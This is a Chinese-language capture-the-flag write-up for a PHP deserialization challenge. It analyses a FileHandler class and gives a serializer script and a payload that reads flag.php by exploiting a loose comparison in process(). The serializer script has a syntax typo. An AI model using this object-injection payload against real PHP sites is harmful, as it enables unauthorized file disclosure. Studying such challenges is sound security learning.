整体源码如下:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
这是一道反序列化题目,首先看输入部分:
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
is_valid是作者创建的用来过滤的函数,然后执行反序列化,这里会调用__destruct(),而不会调用__construct(),因为没有用new实例化一个对象
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
遍历我们的输入,过滤编码小于32和大于125的字符
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
这个页面包含了flag.php, 这个类在process函数中通过op属性选择执行read或write函数,我们的目的是用read函数读取flag.php,并由output函数输出
所以op == "2"且op!=="2"且filename="flag.php"
下面开始序列化:
<?php
class FileHandler {
public $op=2;
public a$filename="flag.php";
}
$str= new FileHandler();
$a=serialize($str);
echo $a;
?>
注意不能用protected,它在序列化后会出现不可见字符%00*%00
而%00转化为ascii码会被is_valid()过滤掉
payload:
str=O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}